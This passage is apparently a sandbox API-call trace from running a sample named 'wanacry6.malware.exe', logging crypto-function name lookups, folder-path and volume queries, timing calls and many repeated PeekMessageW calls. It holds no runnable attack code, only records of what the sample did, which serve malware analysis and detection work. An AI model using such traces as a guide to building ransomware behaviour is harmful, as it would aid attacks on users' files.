wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.618] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0052.618] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.618] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0052.618] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.618] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0052.618] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.618] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0052.618] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.618] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0052.618] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.618] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0052.618] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.618] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0052.618] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.618] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0052.618] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.618] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0052.618] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.618] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0052.618] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.618] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0052.618] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.618] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0052.619] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.619] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0052.619] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.619] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0052.619] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0052.619] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0052.619] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0052.619] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0052.627] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0052.627] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0052.627] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0052.628] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0052.628] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0052.628] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0052.628] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0052.628] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0052.628] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0052.628] PeekMessageW (in: lpMsg=0x32af65f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f600) returned 0 [0052.628] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.628] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.628] SHGetFolderPathW (in: hwnd=0x0, csidl=43, hToken=0x0, dwFlags=0x0, pszPath=0x32af65f060 | out: pszPath="C:\\Program Files\\Common Files") returned 0x0 [0052.629] GetShortPathNameW (in: lpszLongPath="C:\\Program Files\\Common Files", lpszShortPath=0x32af64f840, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1\\COMMON~1") returned 0x14 [0052.629] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.629] SHGetFolderPathW (in: hwnd=0x0, csidl=16, hToken=0x0, dwFlags=0x0, pszPath=0x32af65f060 | out: pszPath="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x0 [0052.630] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop", lpszShortPath=0x32af64f840, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop") returned 0x19 [0052.630] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.630] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x32af65f060 | out: pszPath="C:\\Program Files") returned 0x0 [0052.631] GetShortPathNameW (in: lpszLongPath="C:\\Program Files", lpszShortPath=0x32af64f840, cchBuffer=0x7fff | out: lpszShortPath="C:\\PROGRA~1") returned 0xb [0052.631] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.631] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp", lpszShortPath=0x32af64f840, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1") returned 0x11 [0052.631] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.631] GetShortPathNameW (in: lpszLongPath="wanacry6.malware.exe", lpszShortPath=0x32af64f840, cchBuffer=0x7fff | out: lpszShortPath="WANACR~1.EXE") returned 0xc [0052.631] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.631] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpszShortPath=0x32af64f840, cchBuffer=0x7fff | out: lpszShortPath="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE") returned 0x26 [0052.632] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.632] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.632] CharUpperBuffW (in: lpsz="TRUE_HOMEDRIVE", cchLength=0xe | out: lpsz="TRUE_HOMEDRIVE") returned 0xe [0052.632] PeekMessageW (in: lpMsg=0x32af65f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f370) returned 0 [0052.632] PeekMessageW (in: lpMsg=0x32af65f370, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f370) returned 0 [0052.632] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x32af64f880, nVolumeNameSize=0x7fff, lpVolumeSerialNumber=0x32af65f8a8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x32af65f8a8*=0xba2ee5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0052.632] GetLastError () returned 0x3f0 [0052.632] SetLastError (dwErrCode=0x3f0) [0052.632] GetLastError () returned 0x3f0 [0052.632] SetLastError (dwErrCode=0x3f0) [0052.632] SetErrorMode (uMode=0x0) returned 0x1 [0052.632] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.633] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.634] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.634] QueryPerformanceCounter (in: lpPerformanceCount=0x32af65f8a8 | out: lpPerformanceCount=0x32af65f8a8*=338156959) returned 1 [0052.634] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.634] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.634] QueryPerformanceCounter (in: lpPerformanceCount=0x32af65f8a8 | out: lpPerformanceCount=0x32af65f8a8*=338157622) returned 1 [0052.634] QueryPerformanceFrequency (in: lpFrequency=0x32af65f820 | out: lpFrequency=0x32af65f820) returned 1 [0052.634] PeekMessageW (in: lpMsg=0x32af65fc10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65fc10) returned 0 [0052.634] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0052.634] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.634] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.634] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.635] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.635] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.635] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.635] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.636] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.636] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.636] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.636] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.636] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.636] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.636] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.636] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.637] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.637] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.637] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.637] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.637] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.637] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.637] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.638] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.638] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.638] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.638] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.638] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.638] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.638] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.638] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.638] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.639] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.639] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.639] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.640] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x32af65f690) returned 0 [0052.641] PeekMessageW (in: lpMsg=0x32af65f690, hWnd=0x0, wMsgFilterMin=0x0, 